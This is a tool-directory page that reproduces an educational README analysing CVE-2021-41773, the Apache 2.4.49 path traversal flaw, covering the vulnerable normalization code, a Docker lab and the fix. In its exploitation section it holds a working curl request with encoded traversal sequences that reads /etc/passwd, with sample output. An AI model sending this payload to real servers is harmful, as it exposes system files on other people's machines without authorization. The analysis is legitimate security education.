Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-41773 — PoC and analysis of CVE-2021-41773 | Kitploit
Tools/GitHubGitHub/tr3m0x/cve-2021-41773
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubtr3m0x/cve-2021-41773

CVE-2021-41773

PoC and analysis of CVE-2021-41773

View Repository
61 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-41773 PoC — Apache HTTP Server Path Traversal

Overview

CVE-2021-41773 is a path traversal vulnerability affecting Apache HTTP Server 2.4.49.

The vulnerability allows an attacker to access files outside the intended directory under specific configurations, particularly when directories are exposed through Alias, ScriptAlias, or other Alias-like directives.

The vulnerability exists due to an improper handling of URL path normalization and canonicalization. Apache performed security checks on a path representation that could still contain encoded characters, allowing attackers to bypass traversal detection using encoded dot sequences.


Impact

An attacker can craft a malicious URL containing encoded traversal sequences such as:

root@kitploit:~
.%2e

where:

root@kitploit:~
%2e = .

Therefore:

root@kitploit:~
.%2e

becomes:

root@kitploit:~
..

after decoding.

If Apache validates the encoded representation before resolving it to its canonical form, the traversal check can be bypassed.

Successful exploitation can allow an attacker to read arbitrary files from the filesystem.

Download Tool

Example target:

root@kitploit:~
/etc/passwd

Vulnerable Code

The vulnerable logic is located in:

root@kitploit:~
server/util.c

inside:

root@kitploit:~
ap_normalize_path()

Apache 2.4.49 vulnerable code:

root@kitploit:~
if (path[l] == '.') {
    /* Remove /./ segments */
    if (IS_SLASH_OR_NUL(path[l + 1])) {
        l++;
        if (path[l]) {
            l++;
        }
        continue;
    }

    /* Remove /xx/../ segments */
    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
        /* Wind w back to remove the previous segment */
        if (w > 1) {
            do {
                w--;
            } while (w && !IS_SLASH(path[w - 1]));
        }
        else {
            /* Already at root, ignore and return a failure
             * if asked to.
             */
            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                ret = 0;
            }
        }

        /* Move l forward to the next segment */
        l += 2;
        if (path[l]) {
            l++;
        }
        continue;
    }
}

Root Cause Analysis

The vulnerable code tries to identify directory traversal patterns:

root@kitploit:~
../

by checking for consecutive dots:

root@kitploit:~
path[l + 1] == '.'

However, an attacker can provide an encoded traversal sequence:

root@kitploit:~
/.%2e/

At the time of the normalization check, Apache processes:

root@kitploit:~
.%2e

instead of:

root@kitploit:~
..

Because:

root@kitploit:~
%2e != .

the traversal detection logic does not recognize the sequence as:

root@kitploit:~
../

The path is then interpreted in its decoded form, allowing the traversal to occur.


Vulnerable Processing Flow

The vulnerable behavior can be represented as:

root@kitploit:~
HTTP Request

      |
      v

Path normalization / traversal validation

      |
      v

URL decoding / canonicalization

      |
      v

Filesystem access

The security decision is made before the path reaches its final canonical representation.

A safer approach is:

root@kitploit:~
HTTP Request

      |
      v

URL decoding

      |
      v

Path normalization

      |
      v

Traversal validation

      |
      v

Filesystem access

Security checks should always be performed against the final normalized representation.


Lab Setup

Clone the repository

root@kitploit:~
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773

Build the vulnerable Docker image

root@kitploit:~
docker build -t apache-cve-2021-41773 .

Start the vulnerable Apache server

root@kitploit:~
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773

Exploitation

Send a request containing an encoded traversal sequence:

root@kitploit:~
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

A successful exploitation returns the contents of:

root@kitploit:~
/etc/passwd

Example:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash

Note About HTTP 403 Responses

A 403 Forbidden response does not necessarily mean exploitation failed.

During testing, Apache may successfully normalize:

root@kitploit:~
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

into:

root@kitploit:~
/etc/passwd

but deny access due to filesystem permissions or Apache authorization rules.

Example:

root@kitploit:~
client denied by server configuration: /etc/passwd

This indicates that the traversal occurred successfully, but access control prevented file disclosure.


Key Takeaway

CVE-2021-41773 is a classic example of a canonicalization vulnerability.

User-controlled input can have multiple representations:

root@kitploit:~
.%2e

and:

root@kitploit:~
..

Although they look different, they represent the same path component.

Security checks must always be performed after decoding and normalization. Validating an encoded or ambiguous representation can lead to security bypasses.